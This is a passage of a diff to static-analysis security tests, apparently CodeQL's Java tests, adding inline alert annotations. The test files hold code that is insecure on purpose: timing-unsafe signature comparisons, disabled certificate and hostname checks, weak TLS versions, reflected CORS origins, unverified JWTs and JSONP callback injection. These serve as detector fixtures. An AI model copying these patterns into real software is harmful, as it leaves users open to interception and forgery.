engine.update(data); - byte[] signature = engine.sign(); - return Arrays.equals(expected, signature); + byte[] signature = engine.sign(); // $ Source + return Arrays.equals(expected, signature); // $ Alert } // GOOD: compare signatures using a constant time method @@ -44,8 +44,8 @@ public class Test { public boolean unsafeCheckCustomMac(byte[] expected, byte[] plaintext, Key key) throws Exception { Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, key); - byte[] tag = cipher.doFinal(plaintext); - return Arrays.equals(expected, tag); + byte[] tag = cipher.doFinal(plaintext); // $ Source + return Arrays.equals(expected, tag); // $ Alert } // GOOD: compare ciphertexts using a constant time method @@ -56,4 +56,4 @@ public class Test { return MessageDigest.isEqual(expected, tag); } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.qlref b/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.qlref index 7a83f56cbd6..b426adf811f 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-208/NotConstantTimeCheckOnSignature/Test.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-208/PossibleTimingAttackAgainstSignature.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/Test.java b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/Test.java index 3e9dbc11fff..73b0b1fcafc 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/Test.java +++ b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/Test.java @@ -7,7 +7,7 @@ import java.lang.String; public class Test { private boolean UnsafeComparison(HttpServletRequest request) { String Key = "secret"; - return Key.equals(request.getHeader("X-Auth-Token")); + return Key.equals(request.getHeader("X-Auth-Token")); // $ Alert } private boolean safeComparison(HttpServletRequest request) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/TimingAttackAgainstHeader.qlref b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/TimingAttackAgainstHeader.qlref index 086df8ab1bb..0c95df907ba 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/TimingAttackAgainstHeader.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstHeader/TimingAttackAgainstHeader.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-208/TimingAttackAgainstHeader.ql +query: experimental/Security/CWE/CWE-208/TimingAttackAgainstHeader.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.java b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.java index 0755f1fe668..9613dd2d3df 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.java +++ b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.java @@ -18,9 +18,9 @@ public class Test { Mac mac = Mac.getInstance("HmacSHA256"); byte[] data = new byte[1024]; is.read(data); - byte[] actualMac = mac.doFinal(data); + byte[] actualMac = mac.doFinal(data); // $ Source byte[] expectedMac = is.readNBytes(32); - return Arrays.equals(expectedMac, actualMac); + return Arrays.equals(expectedMac, actualMac); // $ Alert } } @@ -31,9 +31,9 @@ public class Test { Mac mac = Mac.getInstance("HmacSHA256"); byte[] actualMac = new byte[256]; mac.update(data); - mac.doFinal(actualMac, 0); + mac.doFinal(actualMac, 0); // $ Source byte[] expectedMac = socket.getInputStream().readNBytes(256); - return Arrays.equals(expectedMac, actualMac); + return Arrays.equals(expectedMac, actualMac); // $ Alert } } @@ -56,9 +56,9 @@ public class Test { engine.initSign(key); byte[] data = socket.getInputStream().readAllBytes(); engine.update(data); - byte[] signature = engine.sign(); + byte[] signature = engine.sign(); // $ Source byte[] expected = is.readNBytes(256); - return Arrays.equals(expected, signature); + return Arrays.equals(expected, signature); // $ Alert } } @@ -70,9 +70,9 @@ public class Test { byte[] data = socket.getInputStream().readAllBytes(); engine.update(data); byte[] signature = new byte[1024]; - engine.sign(signature, 0, 1024); + engine.sign(signature, 0, 1024); // $ Source byte[] expected = is.readNBytes(256); - return Arrays.equals(expected, signature); + return Arrays.equals(expected, signature); // $ Alert } } @@ -96,9 +96,9 @@ public class Test { byte[] hash = MessageDigest.getInstance("SHA-256").digest(plaintext); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, key); - byte[] tag = cipher.doFinal(hash); + byte[] tag = cipher.doFinal(hash); // $ Source byte[] expected = socket.getInputStream().readAllBytes(); - return Objects.deepEquals(expected, tag); + return Objects.deepEquals(expected, tag); // $ Alert } } @@ -113,9 +113,9 @@ public class Test { cipher.init(Cipher.ENCRYPT_MODE, key); cipher.update(hash); byte[] tag = new byte[1024]; - cipher.doFinal(tag, 0); + cipher.doFinal(tag, 0); // $ Source byte[] expected = is.readNBytes(32); - return Arrays.equals(expected, tag); + return Arrays.equals(expected, tag); // $ Alert } } @@ -131,9 +131,9 @@ public class Test { cipher.init(Cipher.ENCRYPT_MODE, key); cipher.update(hash); ByteBuffer tag = ByteBuffer.wrap(new byte[1024]); - cipher.doFinal(ByteBuffer.wrap(plaintext), tag); + cipher.doFinal(ByteBuffer.wrap(plaintext), tag); // $ Source byte[] expected = socket.getInputStream().readNBytes(1024); - return Arrays.equals(expected, tag.array()); + return Arrays.equals(expected, tag.array()); // $ Alert } } @@ -145,9 +145,9 @@ public class Test { byte[] plaintext = socket.getInputStream().readAllBytes(); cipher.update(plaintext); ByteBuffer tag = ByteBuffer.wrap(new byte[1024]); - cipher.doFinal(ByteBuffer.wrap(plaintext), tag); + cipher.doFinal(ByteBuffer.wrap(plaintext), tag); // $ Source byte[] expected = is.readNBytes(32); - return ByteBuffer.wrap(expected).equals(tag); + return ByteBuffer.wrap(expected).equals(tag); // $ Alert } } @@ -171,9 +171,9 @@ public class Test { byte[] plaintext = is.readNBytes(100); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding"); cipher.init(Cipher.ENCRYPT_MODE, key); - byte[] tag = cipher.doFinal(plaintext); + byte[] tag = cipher.doFinal(plaintext); // $ Source byte[] expected = is.readNBytes(32); - return Arrays.equals(expected, tag); + return Arrays.equals(expected, tag); // $ Alert } } @@ -233,4 +233,4 @@ public class Test { } } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.qlref b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.qlref index f8275271b6b..fc815564ac0 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-208/TimingAttackAgainstSignagure/Test.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-208/TimingAttackAgainstSignature.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.qlref b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.qlref index cab6f2a4962..fc54893242c 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidation.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +query: experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java index 8f7be261413..a0035959217 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.23.1/JxBrowserWithoutCertValidationV6_23_1.java @@ -14,7 +14,7 @@ public class JxBrowserWithoutCertValidationV6_23_1 { } private static void badUsage() { - Browser browser = new Browser(); + Browser browser = new Browser(); // $ Alert browser.loadURL("https://example.com"); // no further calls // BAD: The browser ignores any certificate error by default! @@ -33,4 +33,4 @@ public class JxBrowserWithoutCertValidationV6_23_1 { }); // GOOD: A secure `LoadHandler` is used. browser.loadURL("https://example.com"); } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref index cab6f2a4962..fc54893242c 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-295/jxbrowser-6.24/JxBrowserWithoutCertValidation.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +query: experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.java b/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.java index f79fd15af23..fd4d0d7103e 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.java +++ b/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.java @@ -13,7 +13,7 @@ public class IgnoredHostnameVerification { SSLSocket socket = (SSLSocket) SSLSocketFactory.getDefault().createSocket(host, port); socket.startHandshake(); - verifier.verify(host, socket.getSession()); + verifier.verify(host, socket.getSession()); // $ Alert[java/ignored-hostname-verification] return socket; } @@ -109,4 +109,4 @@ public class IgnoredHostnameVerification { } -} \ No newline at end of file +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.qlref b/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.qlref index 454b421f7b2..20387fe9f62 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-297/IgnoredHostnameVerification.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-297/IgnoredHostnameVerification.ql \ No newline at end of file +query: experimental/Security/CWE/CWE-297/IgnoredHostnameVerification.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.java b/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.java index 72f6bee118a..e04acd919b0 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.java +++ b/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.java @@ -16,7 +16,7 @@ public class InsecureLdapEndpoint { env.put(Context.SECURITY_CREDENTIALS, "secpassword"); // Disable SSL endpoint check - System.setProperty("com.sun.jndi.ldap.object.disableEndpointIdentification", "true"); + System.setProperty("com.sun.jndi.ldap.object.disableEndpointIdentification", "true"); // $ Alert[java/insecure-ldaps-endpoint] return env; } @@ -47,7 +47,7 @@ public class InsecureLdapEndpoint { // Disable SSL endpoint check Properties properties = new Properties(); properties.setProperty("com.sun.jndi.ldap.object.disableEndpointIdentification", "true"); - System.setProperties(properties); + System.setProperties(properties); // $ Alert[java/insecure-ldaps-endpoint] return env; } @@ -65,7 +65,7 @@ public class InsecureLdapEndpoint { // Disable SSL endpoint check Properties properties = new Properties(); properties.put("com.sun.jndi.ldap.object.disableEndpointIdentification", "true"); - System.setProperties(properties); + System.setProperties(properties); // $ Alert[java/insecure-ldaps-endpoint] return env; } @@ -81,7 +81,7 @@ public class InsecureLdapEndpoint { env.put(Context.SECURITY_CREDENTIALS, "secpassword"); // Disable SSL endpoint check - System.setProperty(PROP_DISABLE_LDAP_ENDPOINT_IDENTIFICATION, Boolean.TRUE.toString()); + System.setProperty(PROP_DISABLE_LDAP_ENDPOINT_IDENTIFICATION, Boolean.TRUE.toString()); // $ Alert[java/insecure-ldaps-endpoint] return env; } @@ -99,7 +99,7 @@ public class InsecureLdapEndpoint { // Disable SSL endpoint check Properties properties = new Properties(); properties.put("com.sun.jndi.ldap.object.disableEndpointIdentification", true); - System.setProperties(properties); + System.setProperties(properties); // $ Alert[java/insecure-ldaps-endpoint] return env; } diff --git a/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.qlref b/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.qlref index 1c4d99bb6a3..5fdd2fbfcf0 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-297/InsecureLdapEndpoint.qlref @@ -1 +1,2 @@ -experimental/Security/CWE/CWE-297/InsecureLdapEndpoint.ql +query: experimental/Security/CWE/CWE-297/InsecureLdapEndpoint.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.java b/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.java index 41b470b62d0..4b377a34f94 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.java +++ b/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.java @@ -14,7 +14,7 @@ public class DisabledRevocationChecking { private boolean flag = true; public void disableRevocationChecking() { - flag = false; + flag = false; // $ Alert } public void testDisabledRevocationChecking(KeyStore cacerts, CertPath certPath) throws Exception { @@ -25,7 +25,7 @@ public class DisabledRevocationChecking { public void validate(KeyStore cacerts, CertPath certPath) throws Exception { CertPathValidator validator = CertPathValidator.getInstance("PKIX"); PKIXParameters params = new PKIXParameters(cacerts); - params.setRevocationEnabled(flag); + params.setRevocationEnabled(flag); // $ Sink validator.validate(certPath, params); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.qlref b/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.qlref index cc9089b4951..6902ecb5905 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-299/DisabledRevocationChecking.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-299/DisabledRevocationChecking.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.java b/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.java index 11649621c85..ae87251ea3a 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.java +++ b/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.java @@ -13,12 +13,12 @@ public class UnsafeTlsVersion { public static void testSslContextWithProtocol() throws NoSuchAlgorithmException { // unsafe - SSLContext.getInstance("SSL"); - SSLContext.getInstance("SSLv2"); - SSLContext.getInstance("SSLv3"); - SSLContext.getInstance("TLS"); - SSLContext.getInstance("TLSv1"); - SSLContext.getInstance("TLSv1.1"); + SSLContext.getInstance("SSL"); // $ Alert + SSLContext.getInstance("SSLv2"); // $ Alert + SSLContext.getInstance("SSLv3"); // $ Alert + SSLContext.getInstance("TLS"); // $ Alert + SSLContext.getInstance("TLSv1"); // $ Alert + SSLContext.getInstance("TLSv1.1"); // $ Alert // safe SSLContext.getInstance("TLSv1.2"); @@ -28,11 +28,11 @@ public class UnsafeTlsVersion { public static void testCreateSslParametersWithProtocol(String[] cipherSuites) { // unsafe - createSslParameters(cipherSuites, "SSLv3"); - createSslParameters(cipherSuites, "TLS"); - createSslParameters(cipherSuites, "TLSv1"); - createSslParameters(cipherSuites, "TLSv1.1"); - createSslParameters(cipherSuites, "TLSv1", "TLSv1.1", "TLSv1.2"); + createSslParameters(cipherSuites, "SSLv3"); // $ Source + createSslParameters(cipherSuites, "TLS"); // $ Source + createSslParameters(cipherSuites, "TLSv1"); // $ Source + createSslParameters(cipherSuites, "TLSv1.1"); // $ Source + createSslParameters(cipherSuites, "TLSv1", "TLSv1.1", "TLSv1.2"); // $ Source createSslParameters(cipherSuites, "TLSv1.2"); // safe @@ -41,19 +41,19 @@ public class UnsafeTlsVersion { } public static SSLParameters createSslParameters(String[] cipherSuites, String... protocols) { - return new SSLParameters(cipherSuites, protocols); + return new SSLParameters(cipherSuites, protocols); // $ Alert } public static void testSettingProtocolsForSslParameters() { // unsafe - new SSLParameters().setProtocols(new String[] { "SSLv3" }); - new SSLParameters().setProtocols(new String[] { "TLS" }); - new SSLParameters().setProtocols(new String[] { "TLSv1" }); - new SSLParameters().setProtocols(new String[] { "TLSv1.1" }); + new SSLParameters().setProtocols(new String[] { "SSLv3" }); // $ Alert + new SSLParameters().setProtocols(new String[] { "TLS" }); // $ Alert + new SSLParameters().setProtocols(new String[] { "TLSv1" }); // $ Alert + new SSLParameters().setProtocols(new String[] { "TLSv1.1" }); // $ Alert SSLParameters parameters = new SSLParameters(); - parameters.setProtocols(new String[] { "TLSv1.1", "TLSv1.2" }); + parameters.setProtocols(new String[] { "TLSv1.1", "TLSv1.2" }); // $ Alert // safe new SSLParameters().setProtocols(new String[] { "TLSv1.2" }); @@ -65,11 +65,11 @@ public class UnsafeTlsVersion { public static void testSettingProtocolForSslSocket() throws IOException { // unsafe - createSslSocket("SSLv3"); - createSslSocket("TLS"); - createSslSocket("TLSv1"); - createSslSocket("TLSv1.1"); - createSslSocket("TLSv1.1", "TLSv1.2"); + createSslSocket("SSLv3"); // $ Source + createSslSocket("TLS"); // $ Source + createSslSocket("TLSv1"); // $ Source + createSslSocket("TLSv1.1"); // $ Source + createSslSocket("TLSv1.1", "TLSv1.2"); // $ Source // safe createSslSocket("TLSv1.2"); @@ -78,18 +78,18 @@ public class UnsafeTlsVersion { public static SSLSocket createSslSocket(String... protocols) throws IOException { SSLSocket socket = (SSLSocket) SSLSocketFactory.getDefault().createSocket(); - socket.setEnabledProtocols(protocols); + socket.setEnabledProtocols(protocols); // $ Alert return socket; } public static void testSettingProtocolForSslServerSocket() throws IOException { // unsafe - createSslServerSocket("SSLv3"); - createSslServerSocket("TLS"); - createSslServerSocket("TLSv1"); - createSslServerSocket("TLSv1.1"); - createSslServerSocket("TLSv1.1", "TLSv1.2"); + createSslServerSocket("SSLv3"); // $ Source + createSslServerSocket("TLS"); // $ Source + createSslServerSocket("TLSv1"); // $ Source + createSslServerSocket("TLSv1.1"); // $ Source + createSslServerSocket("TLSv1.1", "TLSv1.2"); // $ Source // safe createSslServerSocket("TLSv1.2"); @@ -98,18 +98,18 @@ public class UnsafeTlsVersion { public static SSLServerSocket createSslServerSocket(String... protocols) throws IOException { SSLServerSocket socket = (SSLServerSocket) SSLServerSocketFactory.getDefault().createServerSocket(); - socket.setEnabledProtocols(protocols); + socket.setEnabledProtocols(protocols); // $ Alert return socket; } public static void testSettingProtocolForSslEngine() throws NoSuchAlgorithmException { // unsafe - createSslEngine("SSLv3"); - createSslEngine("TLS"); - createSslEngine("TLSv1"); - createSslEngine("TLSv1.1"); - createSslEngine("TLSv1.1", "TLSv1.2"); + createSslEngine("SSLv3"); // $ Source + createSslEngine("TLS"); // $ Source + createSslEngine("TLSv1"); // $ Source + createSslEngine("TLSv1.1"); // $ Source + createSslEngine("TLSv1.1", "TLSv1.2"); // $ Source // safe createSslEngine("TLSv1.2"); @@ -118,7 +118,7 @@ public class UnsafeTlsVersion { public static SSLEngine createSslEngine(String... protocols) throws NoSuchAlgorithmException { SSLEngine engine = SSLContext.getDefault().createSSLEngine(); - engine.setEnabledProtocols(protocols); + engine.setEnabledProtocols(protocols); // $ Alert return engine; } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.qlref b/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.qlref index f29bf9a7836..5f599e917bd 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-327/UnsafeTlsVersion.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-327/UnsafeTlsVersion.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.java b/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.java index 9ec3c8466be..d6f0ce5ab2d 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.java +++ b/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.java @@ -18,13 +18,13 @@ public class UnvalidatedCors implements Filter { FilterChain chain) throws IOException, ServletException { HttpServletRequest request = (HttpServletRequest) req; HttpServletResponse response = (HttpServletResponse) res; - String url = request.getHeader("Origin"); + String url = request.getHeader("Origin"); // $ Source if (!StringUtils.isEmpty(url)) { String val = response.getHeader("Access-Control-Allow-Origin"); if (StringUtils.isEmpty(val)) { - response.addHeader("Access-Control-Allow-Origin", url); + response.addHeader("Access-Control-Allow-Origin", url); // $ Alert response.addHeader("Access-Control-Allow-Credentials", "true"); } } diff --git a/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.qlref b/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.qlref index 90fde66959b..fdd2a5c3f79 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-346/UnvalidatedCors.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-346/UnvalidatedCors.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-347/Auth0NoVerifier.qlref b/java/ql/test/experimental/query-tests/security/CWE-347/Auth0NoVerifier.qlref index 0cd8baf6d34..5a642823c7c 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-347/Auth0NoVerifier.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-347/Auth0NoVerifier.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-347/Auth0NoVerifier.ql -postprocess: utils/test/PrettyPrintModels.ql \ No newline at end of file +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-347/JwtNoVerifier.java b/java/ql/test/experimental/query-tests/security/CWE-347/JwtNoVerifier.java index 15a31bcc476..b6814f36abf 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-347/JwtNoVerifier.java +++ b/java/ql/test/experimental/query-tests/security/CWE-347/JwtNoVerifier.java @@ -41,7 +41,7 @@ public class JwtNoVerifier extends HttpServlet { PrintWriter out = response.getWriter(); // NOT OK: only decode, no verification - String JwtToken1 = request.getParameter("JWT2"); + String JwtToken1 = request.getParameter("JWT2"); // $ Source String userName = decodeToken(JwtToken1); if (Objects.equals(userName, "Admin")) { out.println(""); @@ -55,7 +55,7 @@ public class JwtNoVerifier extends HttpServlet { JWT.decode(JwtToken2); // NOT OK: only decode, no verification - String JwtToken3 = (String) authToken.getCredentials(); + String JwtToken3 = (String) authToken.getCredentials(); // $ Source userName = decodeToken(JwtToken3); if (Objects.equals(userName, "Admin")) { out.println(""); @@ -88,7 +88,7 @@ public class JwtNoVerifier extends HttpServlet { public static String decodeToken(final String token) { DecodedJWT jwt = JWT.decode(token); - return Optional.of(jwt).map(item -> item.getClaim("userName").asString()).orElse(""); + return Optional.of(jwt).map(item -> item.getClaim("userName").asString()).orElse(""); // $ Alert } diff --git a/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.java b/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.java index 93a860981d1..1e0175fcd35 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.java +++ b/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.java @@ -14,7 +14,7 @@ public class ClientSuppliedIpUsedInSecurityCheck { @GetMapping(value = "bad1") public void bad1(HttpServletRequest request) { String ip = getClientIP(); - if (!StringUtils.startsWith(ip, "192.168.")) { + if (!StringUtils.startsWith(ip, "192.168.")) { // $ Alert new Exception("ip illegal"); } } @@ -22,7 +22,7 @@ public class ClientSuppliedIpUsedInSecurityCheck { @GetMapping(value = "bad2") public void bad2(HttpServletRequest request) { String ip = getClientIP(); - if (!"127.0.0.1".equals(ip)) { + if (!"127.0.0.1".equals(ip)) { // $ Alert new Exception("ip illegal"); } } @@ -40,7 +40,7 @@ public class ClientSuppliedIpUsedInSecurityCheck { } protected String getClientIP() { - String xfHeader = request.getHeader("X-Forwarded-For"); + String xfHeader = request.getHeader("X-Forwarded-For"); // $ Source if (xfHeader == null) { return request.getRemoteAddr(); } diff --git a/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref b/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref index 8ca6ac71c9a..78f375ab1ee 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref +++ b/java/ql/test/experimental/query-tests/security/CWE-348/ClientSuppliedIpUsedInSecurityCheck.qlref @@ -1,2 +1,4 @@ query: experimental/Security/CWE/CWE-348/ClientSuppliedIpUsedInSecurityCheck.ql -postprocess: utils/test/PrettyPrintModels.ql +postprocess: + - utils/test/PrettyPrintModels.ql + - utils/test/InlineExpectationsTestQuery.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-352/JsonpController.java b/java/ql/test/experimental/query-tests/security/CWE-352/JsonpController.java index c7fd850bb09..ec3e070b342 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-352/JsonpController.java +++ b/java/ql/test/experimental/query-tests/security/CWE-352/JsonpController.java @@ -30,79 +30,79 @@ public class JsonpController { @ResponseBody public String bad1(HttpServletRequest request) { String resultStr = null; - String jsonpCallback = request.getParameter("jsonpCallback"); + String jsonpCallback = request.getParameter("jsonpCallback"); // $ Source Gson gson = new Gson(); String result = gson.toJson(hashMap); resultStr = jsonpCallback + "(" + result + ")"; - return resultStr; + return resultStr; // $ Alert } @GetMapping(value = "jsonp2") @ResponseBody public String bad2(HttpServletRequest request) { String resultStr = null; - String jsonpCallback = request.getParameter("jsonpCallback"); + String jsonpCallback = request.getParameter("jsonpCallback"); // $ Source resultStr = jsonpCallback + "(" + JSONObject.toJSONString(hashMap) + ")"; - return resultStr; + return resultStr; // $ Alert } @GetMapping(value = "jsonp3") @ResponseBody public String bad3(HttpServletRequest request) { String resultStr = null; - String jsonpCallback = request.getParameter("jsonpCallback"); + String jsonpCallback = request.getParameter("jsonpCallback"); // $ Source String jsonStr = getJsonStr(hashMap); resultStr = jsonpCallback + "(" + jsonStr + ")"; - return resultStr; + return resultStr; // $ Alert } @GetMapping(value = "jsonp4") @ResponseBody public String bad4(HttpServletRequest request) { String resultStr = null; - String jsonpCallback = request.getParameter("jsonpCallback"); + String jsonpCallback = request.getParameter("jsonpCallback"); // $ Source String restr = JSONObject.toJSONString(hashMap); resultStr = jsonpCallback + "(" + restr + ");"; - return resultStr; + return resultStr; // $ Alert } @GetMapping(value = "jsonp5") @ResponseBody public void bad5(HttpServletRequest request, HttpServletResponse response) throws Exception { - String jsonpCallback = request.getParameter("jsonpCallback"); + String jsonpCallback = request.getParameter("jsonpCallback"); // $ Source PrintWriter pw = null; Gson gson = new Gson(); String result = gson.toJson(hashMap); String resultStr = null; pw = response.getWriter(); resultStr = jsonpCallback + "(" + result + ")"; - pw.println(resultStr); + pw.println(resultStr); // $ Alert } @GetMapping(value = "jsonp6") @ResponseBody public void bad6(HttpServletRequest request, HttpServletResponse response) throws Exception { - String jsonpCallback = request.getParameter("jsonpCallback"); + String jsonpCallback = request.getParameter("jsonpCallback"); // $ Source PrintWriter pw = null; ObjectMapper mapper = new ObjectMapper(); String result = mapper.writeValueAsString(hashMap); String resultStr = null; pw = response.getWriter(); resultStr = jsonpCallback + "(" + result + ")"; - pw.println(resultStr); + pw.println(resultStr); // $ Alert } @RequestMapping(value = "jsonp7", method = RequestMethod.GET) @ResponseBody public String bad7(HttpServletRequest request) { String resultStr = null; - String jsonpCallback = request.getParameter("jsonpCallback"); + String jsonpCallback = request.getParameter("jsonpCallback"); // $ Source Gson gson = new Gson(); String result = gson.toJson(hashMap); resultStr = jsonpCallback + "(" + result + ")"; - return 